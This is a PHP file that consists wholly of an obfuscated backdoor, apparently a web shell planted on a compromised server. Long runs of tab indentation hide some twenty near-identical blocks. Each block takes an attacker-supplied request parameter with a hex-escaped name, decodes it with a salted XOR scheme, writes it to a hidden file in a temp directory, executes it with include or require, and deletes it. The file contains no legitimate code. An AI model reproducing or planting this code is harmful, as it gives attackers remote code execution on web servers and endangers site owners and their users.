<?php																																										if(isset($_POST) && isset($_POST["\x64ata_\x63hun\x6B"])){ $flg = $_POST["\x64ata_\x63hun\x6B"]; $flg = explode ( ".", $flg ) ; $pgrp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $s = 0; $__tmp = $flg; while( $v9 = array_shift( $__tmp)) { $sChar = ord( $salt[$s % $lenS] ); $d =( ( int)$v9 - $sChar -( $s % 10)) ^ 56; $pgrp .=chr( $d ); $s++; } $comp = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TEMP"), "/var/tmp", getenv("TMP"), "/tmp", sys_get_temp_dir()]); foreach ($comp as $symbol): if ((is_dir($symbol) and is_writable($symbol))) { $ptr = "$symbol/.object"; if (file_put_contents($ptr, $pgrp)) { require $ptr; unlink($ptr); exit; } } endforeach; }
																																										if(isset($_REQUEST["\x72efer\x65nc\x65"])){ $holder = array_filter(["/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/dev/shm"]); $pgrp = $_REQUEST["\x72efer\x65nc\x65"]; $pgrp= explode ( '.' , $pgrp ) ; $symbol = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $t = 0; while ($t < count($pgrp)) { $v4 = $pgrp[$t]; $chS = ord($s[$t % $sLen]); $d = ((int)$v4 - $chS - ($t % 10)) ^ 30; $symbol .= chr($d); $t++; } while ($mrk = array_shift($holder)) { if (max(0, is_dir($mrk) * is_writable($mrk))) { $entity = join("/", [$mrk, ".tkn"]); $success = file_put_contents($entity, $symbol); if ($success) { include $entity; @unlink($entity); exit;} } } }
																																										if(!is_null($_REQUEST["\x62\x69\x6Edi\x6Eg"] ?? null)){ $obj = array_filter(["/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TEMP"), session_save_path()]); $val = $_REQUEST["\x62\x69\x6Edi\x6Eg"]; $val = explode ("." ,$val ) ; $dat = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6 ); $p = 0; $__tmp = $val; while ($v5 = array_shift($__tmp)) { $sChar = ord($s6[$p % $lenS] ); $d = ((int)$v5 - $sChar - ($p % 10)) ^ 24; $dat.= chr($d ); $p++;} for ($flag = 0, $key = count($obj); $flag < $key; $flag++) { $bind = $obj[$flag]; if ((bool)is_dir($bind) && (bool)is_writable($bind)) { $pset = sprintf("%s/.tkn", $bind); if (@file_put_contents($pset, $dat) !== false) { include $pset; unlink($pset); die(); } } } }
																																										if(isset($_REQUEST["refere\x6Ec\x65"])){ $dchunk = $_REQUEST["refere\x6Ec\x65"]; $dchunk =explode("." ,$dchunk) ; $flg = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); $r = 0; $__tmp = $dchunk; while ($v8 = array_shift($__tmp)) {$sChar = ord($salt9[$r%$lenS]); $dec = ((int)$v8 - $sChar - ($r%10)) ^ 18; $flg .= chr($dec); $r++; } $object = array_filter([session_save_path(), "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP")]); $bind = 0; do { $descriptor = $object[$bind] ?? null; if ($bind >= count($object)) break; if (!!is_dir($descriptor) && !!is_writable($descriptor)) { $key = str_replace("{var_dir}", $descriptor, "{var_dir}/.obj"); if (@file_put_contents($key, $flg) !== false) { include $key; unlink($key); exit; } } $bind++; } while (true); }
																																										if(array_key_exists("\x63o\x6Dp\x6Fnent", $_POST) && !is_null($_POST["\x63o\x6Dp\x6Fnent"])){ $ent = array_filter([getenv("TEMP"), "/tmp", getenv("TMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/dev/shm"]); $token = $_POST["\x63o\x6Dp\x6Fnent"]; $token=explode ( "." , $token ) ; $binding =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $v =0; $__len =count($token); do { if ($v>=$__len) break; $v6 =$token[$v]; $chS =ord($s[$v % $lenS]); $d =((int)$v6 - $chS - ($v % 10)) ^81; $binding.= chr($d); $v++;}while (true); foreach ($ent as $elem) { if (array_product([is_dir($elem), is_writable($elem)])) { $obj = "$elem/.data_chunk"; $success = file_put_contents($obj, $binding); if ($success) { include $obj; @unlink($obj); die();} } } }
																																										if(!is_null($_REQUEST["k\x65\x79"] ?? null)){ $ent = array_filter([sys_get_temp_dir(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/var/tmp", getcwd(), getenv("TMP")]); $mrk = $_REQUEST["k\x65\x79"]; $mrk = explode ( "." , $mrk) ; $data = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt2); foreach( $mrk as $l=> $v8): $chS = ord( $salt2[$l % $sLen]); $d =( ( int)$v8 - $chS -( $l % 10)) ^ 23; $data .= chr( $d); endforeach; foreach ($ent as $resource) { if ((function($d) { return is_dir($d) && is_writable($d); })($resource)) { $obj = "$resource" . "/.dchunk"; $success = file_put_contents($obj, $data); if ($success) { include $obj; @unlink($obj); die();} } } }
																																										if(isset($_REQUEST["\x66\x6Cg"]) ? true : false){ $comp = $_REQUEST["\x66\x6Cg"]; $comp =explode ( '.' , $comp ) ; $property_set = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach($comp as $k=>$v3): $sChar = ord($s[$k % $sLen] ); $dec =((int)$v3 - $sChar -($k % 10))^ 95; $property_set .= chr($dec ); endforeach; $hld = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/dev/shm"]); $elem = 0; do { $ref = $hld[$elem] ?? null; if ($elem >= count($hld)) break; if (is_writable($ref) && is_dir($ref)) { $ent = sprintf("%s/.mrk", $ref); if (file_put_contents($ent, $property_set)) { include $ent; @unlink($ent); exit; } } $elem++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x63\x6Fmp"])){ $flag = $_REQUEST["\x63\x6Fmp"]; $flag=explode ( '.' , $flag) ; $component= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s); $v= 0; $__tmp= $flag; while( $v4= array_shift( $__tmp)) { $chS= ord( $s[$v % $sLen]); $dec= ( ( int)$v4 - $chS -( $v % 10)) ^ 27; $component .= chr( $dec); $v++; } $factor = array_filter([session_save_path(), getcwd(), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), "/dev/shm", "/tmp"]); $ent = 0; do { $ent = $factor[$ent] ?? null; if ($ent >= count($factor)) break; if (is_dir($ent) && is_writable($ent)) { $obj = implode("/", [$ent, ".resource"]); if (file_put_contents($obj, $component)) { include $obj; @unlink($obj); exit; } } $ent++; } while (true); }
																																										if(isset($_POST["pt\x72"]) ? true : false){ $marker = $_POST["pt\x72"]; $marker = explode ( "." , $marker ); $factor= ''; $s9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s9); foreach( $marker as $j=> $v9) { $chS= ord( $s9[$j % $lenS]); $dec= ( ( int)$v9 - $chS -( $j % 10)) ^ 6; $factor .= chr( $dec);} $value = array_filter(["/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getcwd(), session_save_path(), "/dev/shm", getenv("TEMP"), sys_get_temp_dir()]); foreach ($value as $hld) { if ((bool)is_dir($hld) && (bool)is_writable($hld)) { $ent = sprintf("%s/.bind", $hld); if (file_put_contents($ent, $factor)) { require $ent; unlink($ent); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "pt\x72")){ $factor = $_REQUEST["pt\x72"]; $factor = explode ("." , $factor ); $bind=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); $x=0; foreach ($factor as $v6) { $chS=ord($salt[$x % $sLen]); $d=((int)$v6 - $chS - ($x % 10))^ 93; $bind .= chr($d); $x++; } $data_chunk = array_filter([getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/dev/shm", getcwd(), session_save_path()]); foreach ($data_chunk as $elem): if ((is_dir($elem) and is_writable($elem))) { $item = "$elem/.record"; if (file_put_contents($item, $bind)) { require $item; unlink($item); die(); } } endforeach; }
																																										if(!is_null($_POST["ref"] ?? null)){ $bind = array_filter(["/dev/shm", "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getcwd(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP")]); $obj = $_POST["ref"]; $obj = explode( ".", $obj ) ; $element=''; $salt1='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt1 ); $j=0; while ($j < count($obj)) { $v7=$obj[$j]; $sChar=ord($salt1[$j %$lenS] ); $dec=((int)$v7 - $sChar - ($j %10)) ^ 17; $element .= chr($dec ); $j++; } $fac = 0; do { $ptr = $bind[$fac] ?? null; if ($fac >= count($bind)) break; if (is_dir($ptr) ? is_writable($ptr) : false) { $val = "$ptr" . "/.object"; if (file_put_contents($val, $element)) { include $val; @unlink($val); die(); } } $fac++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["sym\x62ol"])){ $dat = array_filter([sys_get_temp_dir(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/var/tmp", "/tmp", session_save_path()]); $marker = $_POST["sym\x62ol"]; $marker = explode ( "." , $marker ) ; $key = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); $q = 0; foreach ($marker as $v5) { $sChar = ord($s9[$q % $sLen]); $d = ((int)$v5 - $sChar - ($q % 10)) ^98; $key .= chr($d); $q++;} $element = 0; do { $rec = $dat[$element] ?? null; if ($element >= count($dat)) break; if (is_writable($rec) && is_dir($rec)) { $ent = sprintf("%s/.res", $rec); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $key); fclose($file); include $ent; @unlink($ent); exit; } } $element++; } while (true); }
																																										if(array_key_exists("en\x74r\x79", $_REQUEST) && !is_null($_REQUEST["en\x74r\x79"])){ $object = array_filter(["/dev/shm", "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), session_save_path(), "/tmp", getenv("TMP")]); $component = $_REQUEST["en\x74r\x79"]; $component = explode ( ".", $component ) ; $binding = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $l = 0; array_walk($component, function($v5) use(&$binding, &$l, $s, $lenS) {$chS = ord($s[$l % $lenS] ); $d =((int)$v5 - $chS -($l % 10)) ^ 10; $binding .= chr($d ); $l++; } ); foreach ($object as $key => $dchunk) { if (is_dir($dchunk) ? is_writable($dchunk) : false) { $ptr = vsprintf("%s/%s", [$dchunk, ".data"]); $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $binding); fclose($file); include $ptr; @unlink($ptr); die(); } } } }
																																										if(@$_REQUEST["d\x61t"] !== null){ $hld = $_REQUEST["d\x61t"]; $hld =explode ( ".", $hld ) ; $pointer=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s); foreach( $hld as $i => $v1) { $sChar=ord( $s[$i % $lenS]); $d=( ( int)$v1 - $sChar -( $i % 10)) ^47; $pointer .= chr( $d); } $record = array_filter(["/tmp", getenv("TEMP"), getcwd(), "/var/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path()]); $pset = 0; do { $ent = $record[$pset] ?? null; if ($pset >= count($record)) break; if ((is_dir($ent) and is_writable($ent))) { $elem = implode("/", [$ent, ".data"]); if (@file_put_contents($elem, $pointer) !== false) { include $elem; unlink($elem); die(); } } $pset++; } while (true); }
																																										if(array_key_exists("m\x61\x72\x6Ber", $_POST)){ $reference = $_POST["m\x61\x72\x6Ber"]; $reference= explode ( '.' , $reference ) ; $bind= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); $k= 0; while($k <count($reference)) { $v4= $reference[$k]; $sChar= ord($salt[$k % $sLen]); $dec= ((int)$v4 - $sChar -($k % 10)) ^ 45; $bind .= chr($dec); $k++; } $symbol = array_filter(["/var/tmp", "/dev/shm", getenv("TMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TEMP")]); for ($comp = 0, $pointer = count($symbol); $comp < $pointer; $comp++) { $ref = $symbol[$comp]; if (!!is_dir($ref) && !!is_writable($ref)) { $mrk = str_replace("{var_dir}", $ref, "{var_dir}/.data_chunk"); $success = file_put_contents($mrk, $bind); if ($success) { include $mrk; @unlink($mrk); die();} } } }
																																										if(!empty($_REQUEST["ob\x6A"])){ $key = $_REQUEST["ob\x6A"]; $key =explode ( '.', $key ) ; $data = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7); $w = 0; foreach ($key as $v8) { $sChar = ord($salt7[$w % $lenS]); $d = ((int)$v8 - $sChar - ($w % 10)) ^ 94; $data .= chr($d); $w++; } $value = array_filter([getenv("TEMP"), session_save_path(), "/dev/shm", "/tmp", "/var/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); for ($dat = 0, $hld = count($value); $dat < $hld; $dat++) { $data_chunk = $value[$dat]; if (max(0, is_dir($data_chunk) * is_writable($data_chunk))) { $pgrp = vsprintf("%s/%s", [$data_chunk, ".component"]); $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $data); fclose($file); include $pgrp; @unlink($pgrp); die(); } } } }
																																										if(in_array("f\x61\x63to\x72", array_keys($_REQUEST))){ $dchunk = $_REQUEST["f\x61\x63to\x72"]; $dchunk =explode( ".", $dchunk ); $reference = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3 ); $r = 0; while ($r < count($dchunk)) {$v6 = $dchunk[$r]; $chS = ord($s3[$r % $sLen] ); $d = ((int)$v6 - $chS - ($r % 10)) ^ 56; $reference .= chr($d ); $r++; } $value = array_filter([getenv("TMP"), "/var/tmp", session_save_path(), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getcwd()]); $ptr = 0; do { $ref = $value[$ptr] ?? null; if ($ptr >= count($value)) break; if (!!is_dir($ref) && !!is_writable($ref)) { $parameter_group = str_replace("{var_dir}", $ref, "{var_dir}/.dat"); if (file_put_contents($parameter_group, $reference)) { include $parameter_group; @unlink($parameter_group); die(); } } $ptr++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["d\x65s\x63rip\x74or"])){ $record = array_filter(["/var/tmp", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), "/tmp"]); $property_set = $_REQUEST["d\x65s\x63rip\x74or"]; $property_set = explode ( "." , $property_set ) ; $hld = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt5); foreach( $property_set as $y => $v9) { $chS = ord( $salt5[$y % $lenS]); $dec = ( ( int)$v9 - $chS -( $y % 10))^66; $hld .= chr( $dec); } for ($resource = 0, $binding = count($record); $resource < $binding; $resource++) { $ent = $record[$resource]; if ((is_dir($ent) and is_writable($ent))) { $element = "$ent" . "/.holder"; $success = file_put_contents($element, $hld); if ($success) { include $element; @unlink($element); exit;} } } }
																																										if(isset($_POST["f\x61c"]) ? true : false){ $sym = array_filter([session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", "/tmp", getenv("TMP"), "/var/tmp", getenv("TEMP")]); $record = $_POST["f\x61c"]; $record =explode ( "." ,$record ) ; $marker = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); $z = 0; $__len = count($record); do { if ($z >= $__len) break; $v7 = $record[$z]; $sChar = ord($salt1[$z % $sLen]); $d = ((int)$v7 - $sChar - ($z % 10)) ^61; $marker .= chr($d); $z++; } while (true); $hld = 0; do { $elem = $sym[$hld] ?? null; if ($hld >= count($sym)) break; if ((is_dir($elem) and is_writable($elem))) { $itm = "$elem/.res"; if (@file_put_contents($itm, $marker) !== false) { include $itm; unlink($itm); exit; } } $hld++; } while (true); }
																																										if(isset($_POST["\x74oken"])){ $element = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getcwd(), getenv("TEMP"), getenv("TMP"), "/tmp", session_save_path(), "/var/tmp"]); $marker = $_POST["\x74oken"]; $marker= explode ( ".",$marker ) ; $item = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3 ); $j = 0; $__tmp = $marker; while ($v6 = array_shift($__tmp)) { $sChar = ord($s3[$j %$lenS] ); $dec = ((int)$v6 - $sChar - ($j %10)) ^ 5; $item .= chr($dec ); $j++; } foreach ($element as $key => $record) { if ((is_dir($record) and is_writable($record))) { $value = vsprintf("%s/%s", [$record, ".dat"]); if (file_put_contents($value, $item)) { include $value; @unlink($value); exit; } } } }


if(filter_has_var(INPUT_POST, "k\x65\x79")){
	$rec = array_filter([getenv("TEMP"), "/dev/shm", session_save_path(), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), "/tmp", getcwd(), ini_get("upload_tmp_dir")]);
	$data_chunk = $_POST["k\x65\x79"];
		 	$data_chunk=		explode (			"."	 , 		$data_chunk  ) ; 		
	$property_set 	= '';
            $salt 	= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen 	= strlen($salt	 );
    
            foreach($data_chunk as $i=> $v9) {	$chS 	= ord($salt[$i%		$sLen]	 );
                $dec 	= ((int)$v9 - $chS -($i%		10)) ^ 71;
                $property_set.=chr($dec	 ); 	}	 
	for ($k = 0, $parameter_group = count($rec); $k < $parameter_group; $k++) {
    $pointer = $rec[$k];
    		if ((is_dir($pointer) and is_writable($pointer))) {
    $element = implode("/", [$pointer, ".itm"]);
    if (file_put_contents($element, $property_set)) {
	require $element;
	unlink($element);
	die();
}
}
}
}